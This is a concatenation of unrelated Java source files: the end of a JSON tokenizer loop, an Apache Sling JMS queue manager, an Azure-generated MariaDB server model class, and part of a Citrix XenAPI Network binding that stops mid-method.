for (i = 0; i < n; i += 1) {
if (circle[j] != to.charAt(i)) {
b = false;
break;
}
j += 1;
if (j >= n) {
j -= n;
}
}
/*
* If we exit the loop with b intact, then victory is ours.
*/
if (b) {
return true;
}
/*
* Get the next character. If there isn't one, then defeat is ours.
*/
c = next();
if (c == 0) {
return false;
}
/*
* Shove the character in the circle buffer and advance the circle
* offset. The offset is mod n.
*/
circle[offset] = c;
offset += 1;
if (offset >= n) {
offset -= n;
}
}
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.sling.jms.impl;
import org.apache.felix.scr.annotations.*;
import org.apache.sling.jms.ConnectionFactoryService;
import org.apache.sling.mom.*;
import org.osgi.framework.ServiceReference;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.Nonnull;
import javax.jms.*;
import java.io.Closeable;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
/**
* A JMS implementation of a QueueManager. It will allow callers to add messages to named queues, and consumers to read
* messages from named queues in order. The component uses a single connection to the JMS broker, but dedicated sessions
* for each send and for each Queue reader.
*/
@Component(immediate = true)
@Service(value = QueueManager.class)
public class JMSQueueManager implements QueueManager {
private static final Logger LOGGER = LoggerFactory.getLogger(JMSQueueManager.class);
private static final String NRETRIES = "_nr";
private static final Set<String> INTERNAL_PROPS = Collections.singleton(NRETRIES);
@Reference
private ConnectionFactoryService connectionFactoryService;
/**
* Holds all QueueReader registrations.
*/
@Reference(referenceInterface = QueueReader.class,
cardinality = ReferenceCardinality.OPTIONAL_MULTIPLE,
policy = ReferencePolicy.DYNAMIC,
bind="addReader",
unbind="removeReader")
private final Map<ServiceReference<QueueReader>, QueueReaderHolder> registrations =
new ConcurrentHashMap<ServiceReference<QueueReader>, QueueReaderHolder>();
private Connection connection;
@Activate
public synchronized void activate(Map<String, Object> properties) throws JMSException {
connection = connectionFactoryService.getConnectionFactory().createConnection();
connection.start();
}
@Deactivate
public synchronized void deactivate(Map<String, Object> properties) throws JMSException {
for ( Map.Entry<ServiceReference<QueueReader>, QueueReaderHolder> e : registrations.entrySet()) {
e.getValue().close();
}
registrations.clear();
connection.stop();
connection.close();
}
/**
* Add a message to the queue. The message is added to the queue transactionally and auto acknowledged.
* @param name the name of the queue.
* @param message the message to post to the queue.
*/
@Override
public void add(@Nonnull Types.QueueName name, @Nonnull Map<String, Object> message) {
Session session = null;
try {
session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);
//TODO Instead of copy do addition at JSON writer level
Map<String, Object> msgCopy = new HashMap<>(message);
msgCopy.put(NRETRIES, 0L); // set the number of retries to 0.
TextMessage textMessage = session.createTextMessage(Json.toJson(msgCopy));
textMessage.setJMSType(JMSMessageTypes.JSON.toString());
LOGGER.info("Sending to {} message {} ", name, textMessage);
session.createProducer(session.createQueue(name.toString())).send(textMessage);
session.commit();
session.close();
} catch (JMSException e) {
LOGGER.error("Unable to send message to queue "+name, e);
close(session);
}
}
/**
* quietly close the session.
* @param session
*/
private void close(Session session) {
if(session != null) {
try {
session.close();
} catch (JMSException e) {
LOGGER.warn("Unable to close session ",e);
}
}
}
// Register Readers using OSGi Whiteboard pattern
public synchronized void addReader(ServiceReference<QueueReader> serviceRef) {
if (registrations.containsKey(serviceRef)) {
LOGGER.error("Registration for service reference is already present {}",serviceRef);
return;
}
QueueReaderHolder queueReaderHolder = new QueueReaderHolder(connection, serviceRef.getBundle().getBundleContext().getService(serviceRef), getServiceProperties(serviceRef));
registrations.put(serviceRef, queueReaderHolder);
}
private Map<String, Object> getServiceProperties(ServiceReference<QueueReader> serviceRef) {
Map<String, Object> m = new HashMap<String, Object>();
for ( String k : serviceRef.getPropertyKeys()) {
m.put(k, serviceRef.getProperty(k));
}
return Collections.unmodifiableMap(m);
}
public synchronized void removeReader(ServiceReference<QueueReader> serviceRef) {
QueueReaderHolder queueReaderHolder = registrations.remove(serviceRef);
if ( queueReaderHolder != null) {
queueReaderHolder.close();
}
}
private static class QueueReaderHolder implements Closeable {
private final JMSQueueSession session;
public QueueReaderHolder(Connection connection, QueueReader queueReader, Map<String, Object> properties) {
try {
LOGGER.info("Creating Queue holder for {} ", queueReader.getClass());
String name = (String) properties.get(QueueReader.QUEUE_NAME_PROP);
checkNotNull(name, "A valid queue name as property " + QueueReader.QUEUE_NAME_PROP + " is required for QueueReader registration");
if (queueReader instanceof MessageFilter) {
session = new JMSQueueSession(connection, queueReader, name, (MessageFilter) queueReader, true, 5);
} else {
session = new JMSQueueSession(connection, queueReader, name, new MessageFilter() {
@Override
public boolean accept(Types.Name name, Map<String, Object> mapMessage) {
return true;
}
}, true, 5);
}
} catch (JMSException e) {
throw new IllegalArgumentException("Unable to register QueueReader with JMS ",e);
}
}
public void close() {
try {
session.close();
} catch ( Exception e ) {
LOGGER.debug("Exception when closing session.",e);
}
}
}
private static void checkNotNull(Object v, String message) {
if ( v == null) {
throw new IllegalArgumentException(message);
}
}
private static Map<String,Object> filter(Map<String, Object> map) {
//Filter out internal properties
for (String internalKey : INTERNAL_PROPS){
map.remove(internalKey);
}
return map;
}
public static class JMSQueueSession implements Closeable, MessageListener {
private static final Logger LOGGER = LoggerFactory.getLogger(JMSQueueSession.class);
private final QueueReader queueReader;
private final String name;
private final MessageFilter messageFilter;
private final Session session;
private final MessageConsumer queueConsumer;
private final MessageProducer queueProducer;
private boolean retryByRequeue;
private int maxRetries;
public JMSQueueSession(Connection connection, QueueReader queueReader, String name, MessageFilter messageFilter, boolean retryByRequeue, int maxRetries) throws JMSException {
this.queueReader = queueReader;
this.name = name;
this.messageFilter = messageFilter;
this.retryByRequeue = retryByRequeue;
this.maxRetries = maxRetries;
session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(name);
queueConsumer = session.createConsumer(queue);
queueProducer = session.createProducer(queue);
queueConsumer.setMessageListener(this);
}
@Override
public void close() {
if ( queueConsumer != null) {
try {
queueConsumer.close();
} catch (JMSException e) {
LOGGER.warn("Failed to close queue consumer on "+name,e);
}
}
if ( session != null) {
try {
session.close();
} catch (JMSException e) {
LOGGER.warn("Failed to close queue session on " + name, e);
}
}
}
@Override
public void onMessage(Message message) {
boolean committed = false;
TextMessage textMessage = null;
try {
try {
LOGGER.info("Got from {} message {} ", name, message);
Destination destination = message.getJMSDestination();
if (destination instanceof Queue) {
Queue queue = (Queue) destination;
if ( JMSMessageTypes.JSON.equals(JMSMessageTypes.valueOf(message.getJMSType()))) {
textMessage = (TextMessage) message;
final Map<String, Object> mapMessage = Json.toMap(textMessage.getText());
Types.QueueName queueName = Types.queueName(queue.getQueueName());
if (queueName.equals(name) && messageFilter.accept(queueName, mapMessage)) {
queueReader.onMessage(queueName, filter(mapMessage));
session.commit();
// all ok.
committed = true;
return;
}
}
}
} catch (RequeueMessageException e) {
LOGGER.info("QueueReader requested requeue of message ", e);
if (retryByRequeue && textMessage != null) {
Map<String, Object> mapMessage = Json.toMap(textMessage.getText());
if ((long)mapMessage.get(NRETRIES) < maxRetries) {
mapMessage.put(NRETRIES, ((long) mapMessage.get(NRETRIES)) + 1);
TextMessage retryMessage = session.createTextMessage(Json.toJson(mapMessage));
retryMessage.setJMSType(JMSMessageTypes.JSON.toString());
LOGGER.info("Retrying message Sending to {} message {} ", name, textMessage);
queueProducer.send(retryMessage);
session.commit();
committed = true;
return;
}
}
}
} catch (JMSException e) {
LOGGER.info("Receive failed leaving to provider to require if required. ", e);
} finally {
try {
if (!committed) {
session.rollback();
}
} catch (JMSException e) {
LOGGER.info("QueueReader rollback failed. ",e);
}
}
// If onMessage throws an exception JMS will put the message back onto the queue.
// the delay before it gets retried is a JMS server configuration.
throw new IllegalArgumentException("Unable to process message, requeue");
}
}
}
| |
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
*/
package com.microsoft.azure.management.mariadb.v2020_01_01.implementation;
import com.microsoft.azure.management.mariadb.v2020_01_01.Sku;
import com.microsoft.azure.management.mariadb.v2020_01_01.ServerVersion;
import com.microsoft.azure.management.mariadb.v2020_01_01.SslEnforcementEnum;
import com.microsoft.azure.management.mariadb.v2020_01_01.ServerState;
import org.joda.time.DateTime;
import com.microsoft.azure.management.mariadb.v2020_01_01.StorageProfile;
import com.microsoft.azure.management.mariadb.v2020_01_01.PublicNetworkAccessEnum;
import java.util.List;
import com.microsoft.azure.management.mariadb.v2020_01_01.ServerPrivateEndpointConnection;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.microsoft.rest.serializer.JsonFlatten;
import com.microsoft.azure.Resource;
/**
* Represents a server.
*/
@JsonFlatten
public class ServerInner extends Resource {
/**
* The SKU (pricing tier) of the server.
*/
@JsonProperty(value = "sku")
private Sku sku;
/**
* The administrator's login name of a server. Can only be specified when
* the server is being created (and is required for creation).
*/
@JsonProperty(value = "properties.administratorLogin")
private String administratorLogin;
/**
* Server version. Possible values include: '5.6', '5.7'.
*/
@JsonProperty(value = "properties.version")
private ServerVersion version;
/**
* Enable ssl enforcement or not when connect to server. Possible values
* include: 'Enabled', 'Disabled'.
*/
@JsonProperty(value = "properties.sslEnforcement")
private SslEnforcementEnum sslEnforcement;
/**
* A state of a server that is visible to user. Possible values include:
* 'Ready', 'Dropping', 'Disabled'.
*/
@JsonProperty(value = "properties.userVisibleState")
private ServerState userVisibleState;
/**
* The fully qualified domain name of a server.
*/
@JsonProperty(value = "properties.fullyQualifiedDomainName")
private String fullyQualifiedDomainName;
/**
* Earliest restore point creation time (ISO8601 format).
*/
@JsonProperty(value = "properties.earliestRestoreDate")
private DateTime earliestRestoreDate;
/**
* Storage profile of a server.
*/
@JsonProperty(value = "properties.storageProfile")
private StorageProfile storageProfile;
/**
* The replication role of the server.
*/
@JsonProperty(value = "properties.replicationRole")
private String replicationRole;
/**
* The master server id of a replica server.
*/
@JsonProperty(value = "properties.masterServerId")
private String masterServerId;
/**
* The maximum number of replicas that a master server can have.
*/
@JsonProperty(value = "properties.replicaCapacity")
private Integer replicaCapacity;
/**
* Whether or not public network access is allowed for this server. Value
* is optional but if passed in, must be 'Enabled' or 'Disabled'. Possible
* values include: 'Enabled', 'Disabled'.
*/
@JsonProperty(value = "properties.publicNetworkAccess")
private PublicNetworkAccessEnum publicNetworkAccess;
/**
* List of private endpoint connections on a server.
*/
@JsonProperty(value = "properties.privateEndpointConnections", access = JsonProperty.Access.WRITE_ONLY)
private List<ServerPrivateEndpointConnection> privateEndpointConnections;
/**
* Get the SKU (pricing tier) of the server.
*
* @return the sku value
*/
public Sku sku() {
return this.sku;
}
/**
* Set the SKU (pricing tier) of the server.
*
* @param sku the sku value to set
* @return the ServerInner object itself.
*/
public ServerInner withSku(Sku sku) {
this.sku = sku;
return this;
}
/**
* Get the administrator's login name of a server. Can only be specified when the server is being created (and is required for creation).
*
* @return the administratorLogin value
*/
public String administratorLogin() {
return this.administratorLogin;
}
/**
* Set the administrator's login name of a server. Can only be specified when the server is being created (and is required for creation).
*
* @param administratorLogin the administratorLogin value to set
* @return the ServerInner object itself.
*/
public ServerInner withAdministratorLogin(String administratorLogin) {
this.administratorLogin = administratorLogin;
return this;
}
/**
* Get server version. Possible values include: '5.6', '5.7'.
*
* @return the version value
*/
public ServerVersion version() {
return this.version;
}
/**
* Set server version. Possible values include: '5.6', '5.7'.
*
* @param version the version value to set
* @return the ServerInner object itself.
*/
public ServerInner withVersion(ServerVersion version) {
this.version = version;
return this;
}
/**
* Get enable ssl enforcement or not when connect to server. Possible values include: 'Enabled', 'Disabled'.
*
* @return the sslEnforcement value
*/
public SslEnforcementEnum sslEnforcement() {
return this.sslEnforcement;
}
/**
* Set enable ssl enforcement or not when connect to server. Possible values include: 'Enabled', 'Disabled'.
*
* @param sslEnforcement the sslEnforcement value to set
* @return the ServerInner object itself.
*/
public ServerInner withSslEnforcement(SslEnforcementEnum sslEnforcement) {
this.sslEnforcement = sslEnforcement;
return this;
}
/**
* Get a state of a server that is visible to user. Possible values include: 'Ready', 'Dropping', 'Disabled'.
*
* @return the userVisibleState value
*/
public ServerState userVisibleState() {
return this.userVisibleState;
}
/**
* Set a state of a server that is visible to user. Possible values include: 'Ready', 'Dropping', 'Disabled'.
*
* @param userVisibleState the userVisibleState value to set
* @return the ServerInner object itself.
*/
public ServerInner withUserVisibleState(ServerState userVisibleState) {
this.userVisibleState = userVisibleState;
return this;
}
/**
* Get the fully qualified domain name of a server.
*
* @return the fullyQualifiedDomainName value
*/
public String fullyQualifiedDomainName() {
return this.fullyQualifiedDomainName;
}
/**
* Set the fully qualified domain name of a server.
*
* @param fullyQualifiedDomainName the fullyQualifiedDomainName value to set
* @return the ServerInner object itself.
*/
public ServerInner withFullyQualifiedDomainName(String fullyQualifiedDomainName) {
this.fullyQualifiedDomainName = fullyQualifiedDomainName;
return this;
}
/**
* Get earliest restore point creation time (ISO8601 format).
*
* @return the earliestRestoreDate value
*/
public DateTime earliestRestoreDate() {
return this.earliestRestoreDate;
}
/**
* Set earliest restore point creation time (ISO8601 format).
*
* @param earliestRestoreDate the earliestRestoreDate value to set
* @return the ServerInner object itself.
*/
public ServerInner withEarliestRestoreDate(DateTime earliestRestoreDate) {
this.earliestRestoreDate = earliestRestoreDate;
return this;
}
/**
* Get storage profile of a server.
*
* @return the storageProfile value
*/
public StorageProfile storageProfile() {
return this.storageProfile;
}
/**
* Set storage profile of a server.
*
* @param storageProfile the storageProfile value to set
* @return the ServerInner object itself.
*/
public ServerInner withStorageProfile(StorageProfile storageProfile) {
this.storageProfile = storageProfile;
return this;
}
/**
* Get the replication role of the server.
*
* @return the replicationRole value
*/
public String replicationRole() {
return this.replicationRole;
}
/**
* Set the replication role of the server.
*
* @param replicationRole the replicationRole value to set
* @return the ServerInner object itself.
*/
public ServerInner withReplicationRole(String replicationRole) {
this.replicationRole = replicationRole;
return this;
}
/**
* Get the master server id of a replica server.
*
* @return the masterServerId value
*/
public String masterServerId() {
return this.masterServerId;
}
/**
* Set the master server id of a replica server.
*
* @param masterServerId the masterServerId value to set
* @return the ServerInner object itself.
*/
public ServerInner withMasterServerId(String masterServerId) {
this.masterServerId = masterServerId;
return this;
}
/**
* Get the maximum number of replicas that a master server can have.
*
* @return the replicaCapacity value
*/
public Integer replicaCapacity() {
return this.replicaCapacity;
}
/**
* Set the maximum number of replicas that a master server can have.
*
* @param replicaCapacity the replicaCapacity value to set
* @return the ServerInner object itself.
*/
public ServerInner withReplicaCapacity(Integer replicaCapacity) {
this.replicaCapacity = replicaCapacity;
return this;
}
/**
* Get whether or not public network access is allowed for this server. Value is optional but if passed in, must be 'Enabled' or 'Disabled'. Possible values include: 'Enabled', 'Disabled'.
*
* @return the publicNetworkAccess value
*/
public PublicNetworkAccessEnum publicNetworkAccess() {
return this.publicNetworkAccess;
}
/**
* Set whether or not public network access is allowed for this server. Value is optional but if passed in, must be 'Enabled' or 'Disabled'. Possible values include: 'Enabled', 'Disabled'.
*
* @param publicNetworkAccess the publicNetworkAccess value to set
* @return the ServerInner object itself.
*/
public ServerInner withPublicNetworkAccess(PublicNetworkAccessEnum publicNetworkAccess) {
this.publicNetworkAccess = publicNetworkAccess;
return this;
}
/**
* Get list of private endpoint connections on a server.
*
* @return the privateEndpointConnections value
*/
public List<ServerPrivateEndpointConnection> privateEndpointConnections() {
return this.privateEndpointConnections;
}
}
| |
/*
* Copyright (c) Citrix Systems, Inc.
*
* This library is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as published
* by the Free Software Foundation, with the additional linking exception as
* follows:
*
* Linking this library statically or dynamically with other modules is
* making a combined work based on this library. Thus, the terms and
* conditions of the GNU General Public License cover the whole combination.
*
* As a special exception, the copyright holders of this library give you
* permission to link this library with independent modules to produce an
* executable, regardless of the license terms of these independent modules,
* and to copy and distribute the resulting executable under terms of your
* choice, provided that you also meet, for each linked independent module,
* the terms and conditions of the license of that module. An independent
* module is a module which is not derived from or based on this library. If
* you modify this library, you may extend this exception to your version of
* the library, but you are not obligated to do so. If you do not wish to do
* so, delete this exception statement from your version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 51
* Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package com.once.xenapi;
import com.once.xenapi.Types.BadServerResponse;
import com.once.xenapi.Types.XenAPIException;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set;
import org.apache.xmlrpc.XmlRpcException;
/**
* A virtual network
*
* @author Citrix Systems, Inc.
*/
public class Network extends XenAPIObject {
/**
* The XenAPI reference to this object.
*/
protected final String ref;
/**
* For internal use only.
*/
Network(String ref) {
this.ref = ref;
}
public String toWireString() {
return this.ref;
}
/**
* If obj is a Network, compares XenAPI references for equality.
*/
@Override
public boolean equals(Object obj)
{
if (obj != null && obj instanceof Network)
{
Network other = (Network) obj;
return other.ref.equals(this.ref);
} else
{
return false;
}
}
@Override
public int hashCode()
{
return ref.hashCode();
}
/**
* Represents all the fields in a Network
*/
public static class Record implements Types.Record {
public String toString() {
StringWriter writer = new StringWriter();
PrintWriter print = new PrintWriter(writer);
print.printf("%1$20s: %2$s\n", "uuid", this.uuid);
print.printf("%1$20s: %2$s\n", "nameLabel", this.nameLabel);
print.printf("%1$20s: %2$s\n", "nameDescription", this.nameDescription);
print.printf("%1$20s: %2$s\n", "allowedOperations", this.allowedOperations);
print.printf("%1$20s: %2$s\n", "currentOperations", this.currentOperations);
print.printf("%1$20s: %2$s\n", "VIFs", this.VIFs);
print.printf("%1$20s: %2$s\n", "PIFs", this.PIFs);
print.printf("%1$20s: %2$s\n", "MTU", this.MTU);
print.printf("%1$20s: %2$s\n", "otherConfig", this.otherConfig);
print.printf("%1$20s: %2$s\n", "bridge", this.bridge);
print.printf("%1$20s: %2$s\n", "blobs", this.blobs);
print.printf("%1$20s: %2$s\n", "tags", this.tags);
return writer.toString();
}
/**
* Convert a network.Record to a Map
*/
public Map<String,Object> toMap() {
Map<String,Object> map = new HashMap<String,Object>();
map.put("uuid", this.uuid == null ? "" : this.uuid);
map.put("name_label", this.nameLabel == null ? "" : this.nameLabel);
map.put("name_description", this.nameDescription == null ? "" : this.nameDescription);
map.put("allowed_operations", this.allowedOperations == null ? new LinkedHashSet<Types.NetworkOperations>() : this.allowedOperations);
map.put("current_operations", this.currentOperations == null ? new HashMap<String, Types.NetworkOperations>() : this.currentOperations);
map.put("VIFs", this.VIFs == null ? new LinkedHashSet<VIF>() : this.VIFs);
map.put("PIFs", this.PIFs == null ? new LinkedHashSet<PIF>() : this.PIFs);
map.put("MTU", this.MTU == null ? 0 : this.MTU);
map.put("other_config", this.otherConfig == null ? new HashMap<String, String>() : this.otherConfig);
map.put("bridge", this.bridge == null ? "" : this.bridge);
map.put("blobs", this.blobs == null ? new HashMap<String, Blob>() : this.blobs);
map.put("tags", this.tags == null ? new LinkedHashSet<String>() : this.tags);
return map;
}
/**
* Unique identifier/object reference
*/
public String uuid;
/**
* a human-readable name
*/
public String nameLabel;
/**
* a notes field containg human-readable description
*/
public String nameDescription;
/**
* list of the operations allowed in this state. This list is advisory only and the server state may have changed by the time this field is read by a client.
*/
public Set<Types.NetworkOperations> allowedOperations;
/**
* links each of the running tasks using this object (by reference) to a current_operation enum which describes the nature of the task.
*/
public Map<String, Types.NetworkOperations> currentOperations;
/**
* list of connected vifs
*/
public Set<VIF> VIFs;
/**
* list of connected pifs
*/
public Set<PIF> PIFs;
/**
* MTU in octets
*/
public Long MTU;
/**
* additional configuration
*/
public Map<String, String> otherConfig;
/**
* name of the bridge corresponding to this network on the local host
*/
public String bridge;
/**
* Binary blobs associated with this network
*/
public Map<String, Blob> blobs;
/**
* user-specified tags for categorization purposes
*/
public Set<String> tags;
}
/**
* Get a record containing the current state of the given network.
*
* @return all fields from the object
*/
public Network.Record getRecord(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_record";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toNetworkRecord(result);
}
/**
* Get a reference to the network instance with the specified UUID.
*
* @param uuid UUID of object to return
* @return reference to the object
*/
public static Network getByUuid(Connection c, String uuid) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_by_uuid";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(uuid)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toNetwork(result);
}
/**
* Create a new network instance, and return its handle.
*
* @param record All constructor arguments
* @return Task
*/
public static Task createAsync(Connection c, Network.Record record) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "Async.network.create";
String session = c.getSessionReference();
Map<String, Object> record_map = record.toMap();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(record_map)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toTask(result);
}
/**
* Create a new network instance, and return its handle.
*
* @param record All constructor arguments
* @return reference to the newly created object
*/
public static Network create(Connection c, Network.Record record) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.create";
String session = c.getSessionReference();
Map<String, Object> record_map = record.toMap();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(record_map)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toNetwork(result);
}
/**
* Destroy the specified network instance.
*
* @return Task
*/
public Task destroyAsync(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "Async.network.destroy";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toTask(result);
}
/**
* Destroy the specified network instance.
*
*/
public void destroy(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.destroy";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Get all the network instances with the given label.
*
* @param label label of object to return
* @return references to objects with matching names
*/
public static Set<Network> getByNameLabel(Connection c, String label) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_by_name_label";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(label)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfNetwork(result);
}
/**
* Get the uuid field of the given network.
*
* @return value of the field
*/
public String getUuid(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_uuid";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toString(result);
}
/**
* Get the name/label field of the given network.
*
* @return value of the field
*/
public String getNameLabel(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_name_label";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toString(result);
}
/**
* Get the name/description field of the given network.
*
* @return value of the field
*/
public String getNameDescription(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_name_description";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toString(result);
}
/**
* Get the allowed_operations field of the given network.
*
* @return value of the field
*/
public Set<Types.NetworkOperations> getAllowedOperations(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_allowed_operations";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfNetworkOperations(result);
}
/**
* Get the current_operations field of the given network.
*
* @return value of the field
*/
public Map<String, Types.NetworkOperations> getCurrentOperations(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_current_operations";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toMapOfStringNetworkOperations(result);
}
/**
* Get the VIFs field of the given network.
*
* @return value of the field
*/
public Set<VIF> getVIFs(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_VIFs";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfVIF(result);
}
/**
* Get the PIFs field of the given network.
*
* @return value of the field
*/
public Set<PIF> getPIFs(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_PIFs";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfPIF(result);
}
/**
* Get the MTU field of the given network.
*
* @return value of the field
*/
public Long getMTU(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_MTU";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toLong(result);
}
/**
* Get the other_config field of the given network.
*
* @return value of the field
*/
public Map<String, String> getOtherConfig(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_other_config";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toMapOfStringString(result);
}
/**
* Get the bridge field of the given network.
*
* @return value of the field
*/
public String getBridge(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_bridge";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toString(result);
}
/**
* Get the blobs field of the given network.
*
* @return value of the field
*/
public Map<String, Blob> getBlobs(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_blobs";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toMapOfStringBlob(result);
}
/**
* Get the tags field of the given network.
*
* @return value of the field
*/
public Set<String> getTags(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_tags";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfString(result);
}
/**
* Set the name/label field of the given network.
*
* @param label New value to set
*/
public void setNameLabel(Connection c, String label) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.set_name_label";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(label)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Set the name/description field of the given network.
*
* @param description New value to set
*/
public void setNameDescription(Connection c, String description) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.set_name_description";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(description)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Set the MTU field of the given network.
*
* @param MTU New value to set
*/
public void setMTU(Connection c, Long MTU) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.set_MTU";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(MTU)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Set the other_config field of the given network.
*
* @param otherConfig New value to set
*/
public void setOtherConfig(Connection c, Map<String, String> otherConfig) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.set_other_config";
String session = c.getSessionReference();
